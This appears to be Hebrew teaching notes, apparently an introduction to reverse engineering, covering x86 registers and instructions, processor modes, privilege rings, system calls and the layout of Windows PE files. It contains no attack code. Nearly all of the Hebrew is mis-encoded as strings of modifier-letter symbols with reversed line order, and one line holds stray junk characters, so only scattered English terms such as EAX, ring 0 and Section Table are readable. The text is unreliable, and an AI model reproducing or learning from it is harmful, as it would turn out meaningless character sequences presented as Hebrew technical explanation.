 ˥˦˷ ˸˯˲ˣ˸ ˢˮ˩ˣ˸ ˪˩ ˶˷˞˩ ,˸˧ˮˬˤ ˣ˟ ˸ˣ˟˩˶ˣˬ ˸ˣˮ˩˸ ˪˷ ˪ˣˡˠ ˭ˣˣˠˬ ˫˧˴˧˶ˬ ˫˧˧ˮ˶ˡˣˬ ˫˧˟˷˥ˬ ,˫ˣ˧ˢ

 ˸˞ ˦˷˲˪ ˸˶ˤˣ˰˷ ˡˣ˞ˬ ˢ˟ˣ˷˥ ˸˧ˮ˶ˡˣˬ ˢ˵˧ˮ˩˦ ˞ˣˢ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩ˤ .˪ˣˡˠ ˧ˡ ˭ˣ˶˩ˤ ˪˩ ˪˷ ˪ˣˢ˧ˮˢ ˨˧˪ˢ˸

.ˢ˧ˮ˷˪ ˸˥˞ ˣ˰˧˶˲˧ ˞˪˷ ˨˩ ,˪˧˟˵ˬ˟ ˣ˪˞ˢ ˸ˣˮ˩ˣ˸ˢ 

 ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩ˤ ˪˷ ˭ˣ˶˵˰ˢ ˶˷˞˩ ,˫˧˟˷˥ˬ ˪˷ ˸ˣ˥˸˲˸ˢˢ ˸˪˧˥˸˟

 ˸ˣˮ˩ˣ˸ ˶˲˯ˬ ˪˷ ˪ˣˢ˧ˮ˟ ˸ˣ˧˰˟ ˶˲˯ˬ ˣ˶˶ˣ˰˸ˢ ,˷ˬˣˬ ˞˪ ˭˧˧ˡ˰

 ˭ˣ˶˩ˤ ˪˷ ˪ˡˣˠ ,˪˩ ˫ˡˣ˵ :˪˧˟˵ˬ˟ ˸ˣ˴˶˷RAM  ˟ˣ˶˟ ˧˦˶ˡˮ˦˯

˯˥˞˪ ˧ˡ˩ ˵˧˲˯ˬ ˞˪ ˫˧ˬ˰˲ˢ ˶ˣˬ˷˪ ˸ˣ˴ˣ˶ ˸ˣˮ˩ˣ˸˷ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˭

 ˭ˢ˪˷ ˰ˡ˧ˬˢ ˸˞ ˸ˣ˶ˬˣ˷ ˣ˧ˢ ˸ˣˮ˩ˣ˸ˢ ˪˩ˣ ˶˥˞ˬ ,˸˧ˮ˷ .˭ˣ˸ˮ ˰ˠ˶ ˪˩˟

 ˣ˪˧˲˞ˣ ˸ˣˮ˷˪ ,˰˧˶˲ˢ˪ ˢ˪ˣ˩˧ ˢ˸˧ˢ ˸˧ˮ˩˸ ˪˩ ,˭ˣ˶˩ˤ ˪˷ ˥ˣˣ˦ ˣ˸ˣ˞ ˪˰

 ˣ˞ ˧ˮˣˡˤ ˡˣ˵ ˳˶ ˸˥˞ ˢˮ˩ˣ˸˟˷ ˵˧˲˯ˬ :˸ˣ˶˥˞ ˸ˣˮ˩ˣ˸ ˯˧˶˵ˢ˪

ˣ˪ˣ˩˧ ˣ˧ˢ ˸ˣ˧ˮ˩˸ˢ ˪˩ˣ ,˭ˣ˶˩ˤ ˸˷˧˪ˠ ˢ˷˥˶˸ˢ.˰ˠ˲ˢ˪ ˸ 

 ˸ˣ˧ˮ˩˸ ˪˷ ˭ˣ˶˩ˤˢ ˪˷ ˪ˣˢ˧ˮˢ ˦ˣ˷˧˲˪ ˢ˵˧ˮ˩˦ ˢ˥˸˲˸ˢ ˫˧ˮ˷ˢ ˫˰

 ˪˷ ˢ˧˪˷˞ ˸˶˴ˣ˧ˣ ˢ˧ˮ˷ˢˬ ˸˥˞ ˸ˣˮ˩ˣ˸ˢ ˪˩ ˸˞ ˸ˡˡˣ˟ˬ˷ ˢ˶ˣ˴˟

 ˡ˟˰ˬˢ :˨˩ ˸˪˰ˣ˲ ˢ˦˧˷ˢ .ˢˮ˩˸ ˪˩˪ ˪ˣˡˠˣ ˱˧˴˶ ˡ˥˞ ˭ˣ˶˩ˤ ˟˥˶ˬ

˰ ˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˟˥˶ˬ ˨˧˪ˢ˸ ˪˩˪ ˵˧ˮ˰ˬ (˫˧˦˧˧˟ˢˠ˧'ˠ ˶˲˯ˬ) ˵ˮ

 ˪ˣˢ˧ˮ˪ ˢˡ˧˥˧ˢ ,˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˪ ˸˷ˠ˪ ˞˟ ˨˧˪ˢ˸ˢ ˶˷˞˩ .ˣ˪˷ˬ

) ˡ˟˰ˬˢ ˪˷ ˭ˣ˶˩ˤMMU ˸˟ˣ˸˩˪ (˸˟ˣ˸˩ ˢ˸ˣ˞ ˪˷ ˧ˣ˲˧ˬ ˸˰˴˟ˬ ,˶ˬˣ˪˩) ˣˤˢ ˸˟ˣ˸˩ˢ ˸˞ ˸ˬˠ˶˸ˬ (

˟ ˸˧ˤ˧˲-RAM ) ˸ˣ˶ˡˠˣˬ ˸ˣ˞˪˟˦ ˧˲ ˪˰Page Tables ˶˞˷ˬ ˡˡˣ˟ˬ ˢ˧ˢ˧ ˨˧˪ˢ˸ ˪˩˷ ˠ˞ˣˡ ˡ˟˰ˬˢ ˨˩ .(

˧˩˧˪ˢ˸ˢ.˸ˣ˰˦˟ ˣ˪˧˲˞ ,˫ˢ˪˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˟ ˸˰ˠ˪ ˪˩ˣ˧ ˞˪ˣ ˫ 

 ˭ˣ˶˩ˤ ˶ˣˬ˷˪ ˸ˣ˶˷˲˞ˢ ˞˧ˢ ˸˞ˤˢ ˢ˦˧˷ˢ ˪˷ ˱˯ˣˮ ˭ˣ˶˸˧RAM  ˪ˢˮ˪ ˨˩ˣ ,˧ˮˬˤ ˭˲ˣ˞˟ ˥˧˷˵ˢ ˵˯˧ˡ˟

ˢ ˭ˣ˶˩ˤ˟ ˫˧˧˵˷ ˭ˣ˶˩ˤˢ ,˨˩˪ ˱˯ˣˮ˟ .˫˧˧˵ ˸ˬ˞˟˷ ˢˬˬ ˭ˣ˶˩ˤ ˶˸ˣ˧ ˢ˟˶ˢ-RAM  ˞ˣˢ ˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ ˧ˤ˧˲ˢ

ˬˣ˷ˬ ˰ˠ˶˩˷ ˭ˣ˶˩ˤˢ ˵˶ ˪˪˩ ˨˶ˡ˟ :ˢ˪˰˲ˢˢ ˸˩˶˰ˬˣ ˡ˟˰ˬˢ ˡ˴ˬ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˪ˢˣˮˬ ˢˤ ˪˩ .˷

ˢ ˪˞ ˥˧˷˵ˢ ˵˯˧ˡˢˬ ˶˟˰ˣˬ ˪˪˩ ˨˶ˡ˟ ˭ˣ˶˩ˤˢ-RAM  ˸ˣ˰ˣ˟˵ ˸ˣˡ˧˥˧˟ˣ ˨˧˶˴˷˩ ˵˶ ˨˲ˢˢˣ- Page- .˫˧ 

 ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˪ ˵˶ˣ ˨˞ ˸ˣ˯˥˧˧˸ˬ ˧˪˞ˬ˶ˣˮ ˭˲ˣ˞˟ ˭˸˧˞ ˸ˣˡ˟ˣ˰ ˸ˣˮ˩ˣ˸˷ ˸ˣ˟ˣ˸˩ˢ ˪˩˷ ˢ˟˧˯ˢ ˧ˢˣˤ

ˢ˷˵˟ ˸˰˴˟˸ˬ ˭˩ ˫˞ ˞˪˞ ,˫ˢ˪˷ .(˞˧ˢ˷˪˩ ˸˩˶˰ˬ ˸˞˧˶˵ ˸ˣ˰˴ˬ˞˟) ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˸ˡ˥ˣ˧ˬ  

  

]˫˧˷˶˸ ˪˷ ˭ˣ˶˩ˤ ˧˪˞ˣ˦˶˧ˣ )ˢ˧ˡ˲˧˵˧ˣ[( 
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Intel 8086 (ˢ˧ˡ˲˧˵˧ˣ) 

 ˸˶ˣ˦˵˦˧˩˶˞ˣ ˧˪˟ˬ˯˞ ˪˰x86 

 ˸˶ˣ˦˵˦˧˩˶˞ ˞˧ˢ ˫ˣ˧˩ ˢ˴ˣ˲ˮ ˧˩ˢ ˫˧ˡ˟˰ˬˢ ˸˶ˣ˦˵˦˧˩˶˞

x86  ˪˷ ˦˪˥ˣˬˢ ˟ˣ˶˟ ˸˞˴ˬˮ ˶˷˞ ,˪˦ˮ˧˞ ˪˷

 ˫ˣ˷ˬ ˨˩ ˸˞˶˵ˮ ˞˧ˢ .˫˧ˡ˧˧ˮˢˣ ˫˧˧˷˧˞ˢ ˫˧˟˷˥ˬˢ

 ˪˦ˮ˧˞ ˪˷ ˫˧ˡ˟˰ˬˢ ˸˶˷˶˷ ˪˰ ˸˯˯ˣ˟ˬ ˞˧ˢ˷

ˢ ˸ˣˮ˷ ˱ˣ˯˟ ˢˮˣ˷˞˶˪ ˣ˰˧˲ˣˢ˷)-70 ˡ˧ˬ˸ ˫ˬ˷˷ (

 ˸ˬˣ˧˯˟ ˶ˬˠˮ86 -  ˪˦ˮ˧˞" ˡ˟˰ˬˢ ˞ˣˢ ˣˤ ˢ˶ˡ˯˟ ˶˩ˣˬˢ8086.˭˷˧ˢ " 

 ˧ˡ˟˰ˬ˟x86 ˣ˞ ˶˲˯ˬ ˫˧ˬ˧˧˵ ˫˧˧ˮ˶ˡˣˬ) ˫˧˶ˠRegister- (˫˧-  ˫˧˧ˣˮ˟˷) ˡ˥ˣ˧ˬ˟ ˫˧˶˧ˢˬˣ ˫˧ˮ˦˵ ˭ˣ˶˩ˤ ˧˞˸

 ˫˧˶˲˯ˬ ˧ˮ˷ ˶˟˥˪ ,˪˷ˬ˪ ,ˢ˴˶ˮ ˶˷˞˩ .˫˧ˮˣ˸ˮ ˭ˣ˯˥˞˪ˣ ˫˧˟ˣ˷˧˥ ˰ˣ˴˧˟˪ ˫˧˷ˬ˷ˬˣ (ˡ˟˰ˬˢ ˪˰ ˸˧ˤ˧˲

 ˡ˟˰ˬˢ ˧˟ˠ ˪˰ ˟ˣ˷˧˥ˢ ˸˞ ˰˴˟˪ ,˫˧˶ˠˣ˞˪ ˢ˪˧˥˸ ˫˸ˣ˞ ˵˧˸˰ˢ˪ ˨˶˦˴ˮ ,˧˷˞˶ˢ ˭ˣ˶˩ˤ˟ ˫˧ˮ˯˥ˣ˞ˬ ˶˷˞

 ˶ˣˬ˷˪ ˭˩ˬ ˶˥˞˪ ˵˶ˣˢ ˭ˣ˶˩ˤ˟ ˟ˣ˷ ˢ˞˴ˣ˸ˢ ˸˞-RAM )Random Access Memory.( 

) ˧˪˪˩ ˷ˣˬ˧˷˪ ˫˧ˡ˰ˣ˧ˬˢ ˫˧˶ˠˣ˞˪ ˱˯ˣˮ˟"general purpose registers" - EAX, EBX, EDX, ESI, EDI ,

ˢ ˸˯˶˧ˠ˟-32 :˪˷ˬ˪ ,˫˧ˣ˯ˬ ˠˣ˯ˬ ˰ˡ˧ˬ ˫˧ˮ˯˥˞ˬ˷ ˫˧˶ˠˣ˞ ˫ˠ ˫˧ˬ˧˧˵ (˫ˢ˪˷ ˦˧˟ 

¶ ESP - ˢ ˸˪˧˥˸ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ-Stack )top of stack pointer( 

¶ EBP - ˢ ˯˧˯˟ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ-Stack )stack base pointer( 

¶ EIP - ) ˸˧˥˩ˣˮˢ ˢ˞˶ˣˢˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬInstruction pointer( 

 ˪˷ ˸ˣ˞˶ˣˢˢ ˦˯x86 ˞ˬ ˟˥˶ ˞ˣˢ) ˰ˡ˧ˬ ˸˶˟˰ˢ˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˞˶ˣˢ ˭ˮ˷˧ :ˡˣmov ˸ˣ˧˦ˬ˸˧˶˞ ˸ˣ˞˶ˣˢ ,(

)sub, add, div, mul) ˸ˣ˧ˠˣ˪ˣ (and, or, xor) ˢˬ˧˶ˤ ˸ˣ˞˶ˣˢ ,(jmp, jne, je ˸˧ˮ˯˥ˬ˪ ˸ˣ˶ˣ˷˵˷ ˸ˣ˞˶ˣˢ ,(

)push, pop ˫ˠ ˭˧˧˴˪ ˷˧ .˫˧ˡˮ˶˲ˣ˞ ˢ˷ˣ˪˷ ˱˞ˣ ˫˧˧ˮ˷ ,ˡ˥˞ ,˯˲˞ ˪˰ ˪ˣ˰˲˪ ˸ˣ˪ˣ˩˧ ˸ˣ˞˶ˣˢ .ˢ˟˶ˢ ˡˣ˰ˣ (

˰ˣ˟˵ ˞˪ ˞ˣˢ ˢ˞˶ˣˢ ˪˩ ˪˷ ˪ˡˣˠˢ˷;  ˢ˪ˣ˩˧ ˸˶˥˞ ˢ˞˶ˣˢ ˪˟˞ ˡ˥˞ ˦˧˧˟ ˯ˣ˲˸˪ ˢ˪ˣ˩˧ ˸˥˞ ˢ˞˶ˣˢ

˪˷ ˫ˠ ˯ˣ˲˸˪.˫˧˦˧˧˟ ˢ˷ˣ  

 ˸˶ˣ˦˵˦˧˩˶˞x86  :˫˧˧˶˵˧˰ ˢˡˣ˟˰ ˧˟˴ˬ ˧ˮ˷ ˸˪˪ˣ˩Real Mode x-Protected Mode. Real Mode  ˞ˣˢ

 ˟˴ˬ˟ ˡ˟ˣ˰˷ ˧˯˧˯˟ˢˣ ˭˷˧ˢ ˢˡˣ˟˰ˢ ˟˴ˬ16-ˣ ,ˡ˟˪˟ ˦˧˟-Protected Mode  ˷ˡ˥ˢ ˢˡˣ˟˰ˢ ˟˴ˬ ˞ˣˢ

 ˣˬ˩ ˶˸ˣ˧˟ ˸ˣ˧˷ˣˬ˧˷ˣ ˸ˣ˲˯ˣˮ ˸ˣˮˣ˩˸˟ ˨ˬˣ˸˷ ˶˸ˣ˧Virtual Memory  ,Memory Protection .˸ˣ˞˷˶ˢˣ , 

 ˧˟˷˥ˬ ˶˷˞˩x86  ˟˴ˬ˟ ˫˧˪˧˥˸ˬ ˫ˢ ,ˢˮˣ˷˞˶˪ ˫˧˵˪ˡˮReal Mode  ˪˟˞ ,(˶ˣ˥˞˪ ˸ˣˬ˧˞˸ ˪˷ ˸ˣ˟˧˯ˬ)

) ˸ˣ˧ˮ˶ˡˣˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˪˩ ˦˰ˬ˩²ƛƴŘƻǿǎΣ [ƛƴǳȄΧ˟ ˡ˧ˬ˸ ˸ˣˡ˟ˣ˰ (-Protected Mode ˵˶ .

 ˣˬ˩ ˸ˣˮ˷˧ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬDOS ˟ ˣˡ˟˰-Real Mode ˟˴ˬ ˢ˧ˢ ˢˤ ˧˩ ˦ˣ˷˲ ,.ˡ˧˥˧ˢ ˢˡˣ˟˰ˢ 

 ˶˟˰˷ ˡˣ˵ ˪˰ ˫˧˪˩˸˯ˬ ˶˷˞˩Disassembly˟ ˢ˦˧˪˷˷ ˢ˟˧˯ˢ ˸˞ˤˣ ,˧˪˟ˬ˯˞ ˡˣ˵ ˪˰ ˫˧˪˩˸˯ˬ ,-x86 

.ˢ˟ˣ˷˥ ˞˧ˢ ˧˪˟ˬ˯˞˟ˣ 
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Kernel Mode x-User Mode 

 ˪˷ ˸ˣ˧˷ˣˬ˧˷ˢ ˸ˣˮˣ˩˸ˢ ˸˥˞Protected Mode  ˸˩˶˰ˬ˪ ˸˸˪ ˸ˣ˶˷˲˞ˢ ˞˧ˢ

ˢ˧˟ˠ ˪˰ ˳˶˷ ˢˬ ˪˩ ˪˰ ˶˸ˣ˧ ˢ˟˶ˢ ˢ˪ˣˡˠ ˢ˦˧˪˷ ˢ˪˰˲ˢ  ˸ˣ˰˴ˬ˞˟

˸ˣ˞˷˶ˢ ˪˷ ˸˩˶˰ˬ.  

x86  ˢ˧ˮ˷ˢˬ ˸˥˞ ˸ˣˡˡˣ˟ˬˢ ˸ˣ˞˷˶ˢ ˪˷ ˸ˣˬ˶ ˰˟˶˞ ˸˵˲˯ˬ

ˬ ˪˥ˢ :(ˢ˪ˣ˰ ˶ˡ˯˟)-ring 0 ˪ ˡ˰-ring 3 ˸ˬ˶ ˸˵˲˯ˬ ˢˬ˶ ˪˩ .

 ˡ˥˞˟ ˳˶ ˡ˟˰ˬˢ ˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ .ˢ˧ˮ˲˪˷ ˣˤˬ ˶˸ˣ˧ ˢ˩ˣˬˮ ˸ˣ˞˷˶ˢ

.ˣ˪˞ˢ ˢ˞˷˶ˢˢ ˸ˣˬ˶ˬ 

-˟Windows˟ ˞ˣˢ ˣ˪˞ˢ ˫˧˟˴ˬ˟ ˧˶˵˧˰ˢ ˷ˣˬ˧˷ˢ ,-ring 0 ˟x-ring 3. 

Ring 0 ˫ˠ ˞˶˵ˮˢ ,Kernel Mode ˡˣ˵˪ .ˢˢˣ˟ˠ ˧˩ˢ ˢ˞˷˶ˢˢ ˸ˬ˶ ˞ˣˢ ,

 ˸˞˶ˣˢ ˪˩ ˳˧˶ˢ˪ ˪ˣ˩˧ ˞ˣˢ .ˢ˶ˬˣ˥˪ ˸˪˟ˠˣˬ ˧˸˪˟ˣ ˢ˞˪ˬ ˢ˷˧ˠ ˷˧ ˣˤˢ ˢˬ˶˟ ˳˶˷

CPU ˢ ˳˶ ˡ˧ˬ˸ ˢˤ ˟˴ˬ˟ .˭ˣ˶˩ˤ˟ ˞˸ ˪˩˪ ˸˷ˠ˪ˣ-Kernel -  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧ˤ˩˶ˬ ˵˪˥ ˣ˸ˣ˞

ˢ .˸˩˶˰ˬ˟ ˫˧˧˦˧˶˵ ˧˩ˢ ˫˧˵˪˥ˢ ˪˰ ˧˞˶˥˞ˣ ˢ˶ˬˣ˥˪ ˷ˬ˸˷ˬˢ ˸ˣ˧ˮ˩ˣ˸ ˭˧˟ ˶˷ˠˬ˷-Kernel  ˸ˣ˷˰˪ ˪ˣ˩˧

.˪˩ˢ 

Ring 3ˢ ,-User Mode ˣ˞ ˭ˣ˶˩ˤ˪ ˶˧˷˧ ˭˲ˣ˞˟ ˸˷ˠ˪ ˪ˣ˩˧ ˞˪ ˡˣ˵ ˣˤ ˢˬ˶˟ .ˢ˩ˣˬˮ ˧˩ˢ ˢ˞˷˶ˢˢ ˸ˬ˶ ˞ˣˢ ,

˴˶ ˸˞ˤˢ ˢˬ˶˟ .˶˸ˣ˧˟ ˪˟ˠˣˬ ˞ˣˢˣ ˢ˶ˬˣ˥˪ ,˪˷ˬ˪ .˟˷˥ˬ˟ "˫˧˪˧ˠ˶"ˢ ˫˧˩˧˪ˢ˸ˢˣ ˸ˣˮ˩ˣ˸ˢ ˪˩ ˶˵˧˰˟ ˫˧

 ˫ˡˣ˵ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˨˶ˡ ˶ˣ˟˰˪ ˟˧˧˥ ˞ˣˢ .˨˩ ˫˸˯ ˶˥˞ ˨˧˪ˢ˸ ˪˷ ˭ˣ˶˩ˤ˪ ˸˷ˠ˪ ˪ˣ˩˧ ˞˪ ˪˧ˠ˶ ˨˧˪ˢ˸

 .˸˩˶˰ˬ ˸ˣ˞˧˶˵ ˸ˣ˰˴ˬ˞˟ 

ˬ ˶˟˰ˬˢ-User Mode ˪-Kernel Mode  ˨˶ˡ ˰˴˟˸ˬ˸˩˶˰ˬ ˸ˣ˞˧˶˵ )System Calls .(System Call  ˞˧ˢ

˷˰ˬ˪ˢ ˨ˣ˸ˬ ˸˵˲˯ˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˧˲˧˴˲˯ ˸ˣ˶˧˷˪ ˢ˞˧˶˵ ˢ-Kernel ,˳˟ˣ˵ ˶ˣ˴˧˪ ˧ˡ˩ ,ˢˬˠˣˡ˪ .

˟ ˸ˣ˴˶˷ ˸ˣ˧ˮ˩ˣ˸ 'ˣ˩ˣ ˷ˡ˥ ˨˧˪ˢ˸ ˶ˣ˴˧˪ ,˥˧˷˵ˢ ˵˯˧ˡˢˬ ˞ˣ˶˵˪-User Mode  ˸˞ˤ ˷˵˟˪ ˸ˣ˟˧˧˥

ˢ ˸ˣ˰˴ˬ˞˟ ˷˶ˣ˲ˬ ˭˲ˣ˞˟ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ-System Call  ˸ˣ˧˶˲˯ ˵˲˯ˬ ˯ˣˡˮ˧ˣˣ ,˸ˣ˞˧˴ˬ˟) .˫˧˞˸ˬˢ

ˣ˲˦ˣ˰˷.(˸ˮ˩˸ˬˢ ˧ˮ˧˰ˬ ˶˸˯ˮ ˞ˣˢ˷ ˨˩ ˢˤˢ ˨˧˪ˢ˸ˢ ˸˞ ˸ 
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 ˧˴˟˵PEˣ ˡˣ˵ ˸˴˶ˢ ,-Debuggers ˯ˣˡˮ˧ˣˣ˟ 

 ˸ˬˣ˧˯ ˫˰ ˫˧˴˟˵ ,˰ˣˡ˧˩.exe  ˞˶˵ˮ ˫˧˧ˣˮ˟ ˫ˢ ˣ˟˷ ˦ˬ˶ˣ˲ˢˣ ˯ˣˡˮ˧ˣˣ˟ ˫˧˦˶ˡˮ˦˯ˢ ˢ˴˶ˢˢ ˧˴˟˵ ˫ˢ

Portable Executable  ˸ˣ˟˧˸ ˧˷˞˶˟)PE ˪˷ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˞˯˶ˠˢ ˤ˞ˬ ˷ˣˬ˧˷˟ ˞˴ˬˮ ˢˤˢ ˦ˬ˶ˣ˲ˢ .(

 ˤ˞ˬ) ˯ˣˡˮ˧ˣˣWindows 3.1 ˯ˣˡˮ˧ˣˣ ˪˷ ˸ˣ˞˯˶ˠˢˣ ˢ˴˲ˢˢ ˸ˣ˶ˣ˴ ˪˩ ˧˩ ˨˩ ˞˶˵ˮ ˞ˣˢ .˫ˣ˧ˢ ˡ˰ˣ (

ˬ ˢˮˣ˷ ˸ˬˣ˧˯ ˫˰ ˫˧˴˟˵ ˫ˠ .˫ˡˣ˵ˢ ˦ˬ˶ˣ˲˪ ˡˣˠ˧ˮ˟ ,"ˡ˧˧ˮ" ˞ˣˢ ˭˩˪ˣ ˣ˟ ˸ˣ˷ˬ˸˷ˬ-EXE  ˫˧˷ˬ˸˷ˬ

 ˧˴˟˵ ˪˷ˬ˪ ˣˬ˩ ,˵ˣ˧ˡ˟ ˦ˬ˶ˣ˲ ˣ˸ˣ˞˟DLL )Dynamic Link Library ˢ˧˧˶˲˯˩ ˷ˬ˷ˬ˷ ˡˣ˵ ˫˧˪˧˩ˬ˷ (

 ˭˧˟ ˧ˡ˧˥˧ˢ ˪ˡ˟ˢˢ˷ ˞˧ˢ ˸ˬ˞ˢ .(˨˷ˬˢ˟ ˨˩ ˪˰ ˡˣ˰) ˸˧ˬ˞ˮ˧ˡDLL ˪-EXE  ˪ˣ˩˧ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˸ˮ˧˥˟ˬ

ˢ ˢˡ˷˟ ˡ˥˞ ˦˧˟ ˣ˪˧˲˞ ˸ˣ˧ˢ˪-Characteristics ˢ ˨ˣ˸˟-File Header. 

ˢ ,˳ˣ˶˪ ˪˧˥˸ˢ˪ ˨˧˶˴ ˢˤ˩ ˳˟ˣ˵˷˩-Windows PE Loader ˧˞˶˥˞  ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˪ ˣ˪˷ ˢˮ˧˰˦ˢ ˪˰

˪ ˢ˴˧˲˵ ˱ˣ˯˟˪ˣ ,˸ˣ˴ˣ˥ˮ ˸ˣ˧˶˲˯ ˸ˮ˧˰˦ ,˷ˡ˥ˢ ˨˧˪ˢ˸ˢ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ-Entry Point  ˸˧ˮ˩ˣ˸ˢ ˣˮˬˬ˷

) ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩ ˭ˣ˵˧˸ ˣˬ˩ ˢ˴˶ˢˢ ˧ˮ˲˪ ˫˧˶˟ˡ ˶˲˯ˬ ˡˣ˰ ˰˴˟ˬ ˞ˣˢ ,˱˯ˣˮ˟ .˳ˣ˶˪ ˢ˪˧˥˸ˬRelocation (

.ˡˣ˰ˣ 

 ˳˟ˣ˵ ˪˷ ˧˯˧˯˟ ˢˮ˟ˬPE 

 ˳˟ˣ˵ ˪˷ ˢˮ˟ˬˢPE ˩˧ ˨˶ˣ˴˪ ˧˷ˣˬ˧˷ ˸ˣ˧ˢ˪ ˪ˣAnti Reverse Engineering  ˪˩ ˸˞ ˪˧˩ˬ ˫˴˰˟ ˞ˣˢ ˧˩

 ˣˮ˥ˮ˞ ˢˬ ˸˰ˡ˪ ˪˩ˣˮ ,˫˷ ˫˧ˮ˯˥ˣ˞ˬ ˰ˡ˧ˬ ˧ˠˣ˯ ˢˤ˧˞ ˵ˣ˧ˡ˟ ˰ˡˮ ˫˞ .ˣˮ˪˷ ˢˮ˩ˣ˸ˢ ˪˰ ˶˵ˣ˥˪ ˷˧˷ ˰ˡ˧ˬˢ

 ˣˮ˥ˮ˞˷ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˸ˣˬ˷ ˣ˞ ,˸ˣˤˣ˶˥ˬ ˫˷ˬ ˞˧˴ˣˢ˪ ˢ˷˵ ˣ˞ ˪˵ ˢˬ˩ ,˪˷ˬ˪ .ˣˮ˪˷ ˢˮ˩ˣ˸ˢ ˪˰ ˫˧˲˷ˣ˥

˟˧˧ˬ.˸ˣ˶˥˞ ˸ˣ˧˶˲˯ˬ ˫˧˞ 

 ˳˟ˣ˵ ˪˩PE ˟ ˡ˧ˬ˸ ˪˧˥˸ˬ-DOS Header ˢˮ˷˧ˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˸˧˶˞˷ ˞ˣˢ˷ ,

DOS ) ˡˣ˞ˬ ˢˮ˦˵ ˸˧ˮ˩˸ ˢˮ˷˧ ˣ˧˶˥˞˪ ˡ˧ˬ .˦˲ˣ˯ˣ˶˵˧ˬ ˪˷Stub ˵˶ ˞ˣˢ ˢˡ˧˵˲˸˷ (

ˢ ˸˞ ˯˧˲ˡˢ˪-String  ˶˩ˣˬˢ"This program cannot be run in DOS mode" 

 ˪˩ .˯ˣˡˮ˧ˣˣ ˧˟˷˥ˬ˪ ˸ˡ˰ˣ˧ˬ ˸˧ˮ˩˸ˢ˷˩DOS Header  ˫˧ˣˣ˸ˢ ˧ˮ˷˟ ˪˧˥˸ˬ"MZ" 

 ˪˷ ˫˧˥˸˲ˬˢˬ ˡ˥˞ ,˧˵˯˟ˣ˵˧˟ˤ ˵˶˞ˬ ˪˷ ˸ˣ˟˧˸ˢ ˧˷˞˶)DOS˩ ˫˧˷ˬ˷ˬ ˫ˢˣ (-

Magic Number .ˣ˪˞˩ ˫˧˴˟˵ ˪˷ 

-sPE Header ˢ ˣ˟˷ ˫ˣ˵ˬˢ ˞ˣˢ ˰ˡ˧ˬ ˭˯˥ˣ˞ˬ ˫˷ .˫˧˧˦ˮˣˣ˪˶ ˸ˣ˧ˢ˪ ˫˧˪˧˥˸ˬ ˫˧˶˟ˡ

ˢ ,ˢ˷˰ˬ˪ .˨˧˶˴˷ ˣˬ˩ ˳˟ˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˧ˡ˩ ˧ˮˣ˧˥˷ ˧˪ˣˢ˧ˮ-PE Header  ˧ˮ˷˪ ˵˪ˣ˥ˬ

Header-ˢ ˞ˣˢ ˫ˢ˧ˮ˟ˬ ˟ˣ˷˥ˢ˷˩ ,˫˧-Optional Header  ˞˪ ˪˪˩˟ ˞˵ˣˣˡ ˞ˣˢ˷)

:˫ˢ ˫˷ ˫˧˟˸˩ˮ˷ ˫˧˧˶˵˧˰ˢ ˫˧ˮˣ˸ˮˢˬ ˵˪˥ .(˧˪ˮˣ˧˴˲ˣ˞ 

¶  ˶ˣ˟˰ ˧˦ˮˣˣ˪˶ ˶˵˧˰˟) ˢ˶ˣ˦˵˦˧˩˶˞ˢ32  ˣ˞ ˦˧˟64 (˦˧˟ 

¶ ˸˧˪ˬ˧ˮ˧ˬˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˯˶ˠ 

¶ ) ˭˰˦˧ ˳˟ˣ˵ˢ ˢ˧˪˞˷ ˭ˣ˶˩˧ˤ˟ ˸˲ˡ˰ˣˬˢ ˸˟ˣ˸˩ˢImage Base ( 

DOS MZ header 

DOS stub 

PE header 

Section table 

Section 1 

Section 2 

Section ... 

Section n 
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¶ ) ˸ˣ˧˯˥˧ˢ ˸ˣ˟ˣ˸˩ˢRelative Virtual Address - RVA ˫ˢ˟˷ (Section- .˫˧˪˧˥˸ˬ ˫˧˟ˣ˷˥ ˫˧ 

¶ ˢ ˸˧˴˵ˮˣ˲ ˪˷ ˸˟ˣ˸˩ˢ-main - ˢ ,˵ˣ˧ˡ ˶˸˧˪ ˣ˞-Entry Point  .˳˧˶ˢ˪ ˪˧˥˸ˢ˪ ˨˧˶˴ ˣˮˬˬ˷ 

 ˳˟ˣ˵ˢ ˪˷ ˫˧ˮˣ˷ˢ ˫˧˵˪˥ˢ ˪˷ ˢ˪˟˦ ˢ˰˧ˠˬ ˭˩ˬ ˶˥˞˪- Section Table. 

Section  ˞˪ ˰ˡ˧ˬ ˣ˞ ˡˣ˵ ˣˬ˩) ˫˧ˣ˯ˬ ˠˣ˯ˬ ˰ˡ˧ˬ ˭˯˥ˣ˞ˬ ˣ˟˷ ˫˧˰ˣ˟˵ ˫˧ˮ˧˧˲˞ˬ ˫˰ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞ ˞ˣˢ

